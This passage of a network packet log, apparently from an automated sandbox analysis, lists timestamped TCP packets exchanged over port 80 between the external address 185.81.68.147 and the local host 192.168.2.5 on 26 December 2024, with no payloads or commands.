Dec 26, 2024 12:05:13.775300980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.775357008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.775394917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.775441885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.776304960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.776355028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.776411057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.776463985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.777378082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.777442932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.777462959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.777503014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.778345108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.778388977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.778459072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.778507948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.779340029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.779392958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.936180115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.936247110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.936268091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.936306953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.936630964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.936686993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.936729908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.936780930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.937665939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.937716007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.937813044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.937851906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.938666105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.938708067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.938795090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.938838005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.939729929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.939784050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.939826965 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.939871073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.940737963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.940800905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.940834045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.940876007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.941802025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.941839933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.941848993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.941883087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.942763090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.942816019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.942854881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.942898989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.943773985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.943819046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.943890095 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.943979979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.944813967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.944861889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.944897890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.944942951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.945882082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.945938110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.946068048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.946111917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.946914911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.946960926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.947029114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.947071075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.947882891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.947932005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.947999001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.948043108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.948923111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.948978901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.949067116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.949119091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.949958086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.950009108 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.950093031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.950150013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.950999975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.951047897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.951091051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.951136112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.952012062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.952061892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.952081919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.952126026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.953036070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.953083992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.953107119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.953147888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.954015017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.954066038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.954155922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.954200983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.955063105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.955110073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.955184937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.955226898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.956126928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.956182003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.956254959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.956315041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.957302094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.957345963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.957377911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.957422972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.958132982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.958183050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.958264112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.958308935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.959322929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.959373951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.959407091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.959459066 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.960269928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.960345984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.960385084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.960432053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.961225986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.961275101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.961333990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.961380005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.962265968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.962316036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.962346077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.962392092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.963418007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.963464022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.963524103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.963568926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.964565992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.964615107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.964649916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.964724064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.965817928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.965863943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.965960979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.966007948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.966731071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.966774940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.966782093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.966816902 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.967688084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.967740059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.967772007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.967813015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.968552113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.968609095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.968647003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.968693972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.969542027 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.969593048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.969616890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.969647884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.970572948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.970618963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.970700026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.970735073 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.971906900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.971963882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.972054005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.972096920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.973115921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.973157883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.973206997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.973242998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.974201918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.974246025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.974304914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.974349022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.975234032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.975322008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.975363970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.975414991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.976035118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.976074934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.976170063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.976203918 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.976960897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.977015018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.977092981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.977137089 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.977648020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.977694988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.977725029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.977768898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.978780985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.978835106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.978892088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.978940964 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.979866028 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.979935884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.979935884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.979983091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.980690956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.980735064 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.980775118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.980820894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.981713057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.981759071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.981801987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.981846094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.982731104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.982795000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.982883930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.982928991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.983741999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.983787060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.983891964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.983947039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.984775066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.984818935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.984865904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.984905005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.985793114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.985848904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.985887051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.985930920 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.986843109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.986887932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.986954927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.986999035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.987893105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.987941027 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.988018990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.988061905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.988864899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.988910913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.988976955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.989018917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:13.989855051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:13.989903927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.146682978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.146727085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.146749973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.146794081 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.146940947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.146991968 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.147070885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.147119999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.147928953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.147981882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.148013115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.148056984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.148936033 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.148986101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.149039030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.149079084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.149969101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.150019884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.150106907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.150156975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.150991917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.151042938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.151125908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.151180983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.152194023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.152206898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.152250051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.153072119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.153136015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.153173923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.153220892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.154287100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.154335976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.154450893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.154499054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.155141115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.155191898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.155222893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.155273914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.156132936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.156182051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.156240940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.156311035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.157147884 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.157195091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.157278061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.157325029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.158166885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.158216000 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.158277035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.158323050 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.159185886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.159233093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.159291983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.159341097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.160212994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.160259008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.160339117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.160386086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.161263943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.161310911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.161333084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.161375046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.162266970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.162313938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.162379980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.162473917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.163342953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.163397074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.163403988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.163448095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.164361954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.164413929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.164443970 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.164489985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.165340900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.165390015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.165429115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.165477037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.166352987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.166400909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.166433096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.166470051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.167428017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.167449951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.167474985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.167488098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.168405056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.168463945 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.168550014 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.168598890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.169420958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.169460058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.169496059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.169539928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.170464039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.170509100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.170547009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.170594931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.171766043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.171814919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.172243118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.172286987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.172868013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.172911882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.172985077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:14.173028946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:14.173715115 CET	80	49708	185.81.68.147	192.168.2.5
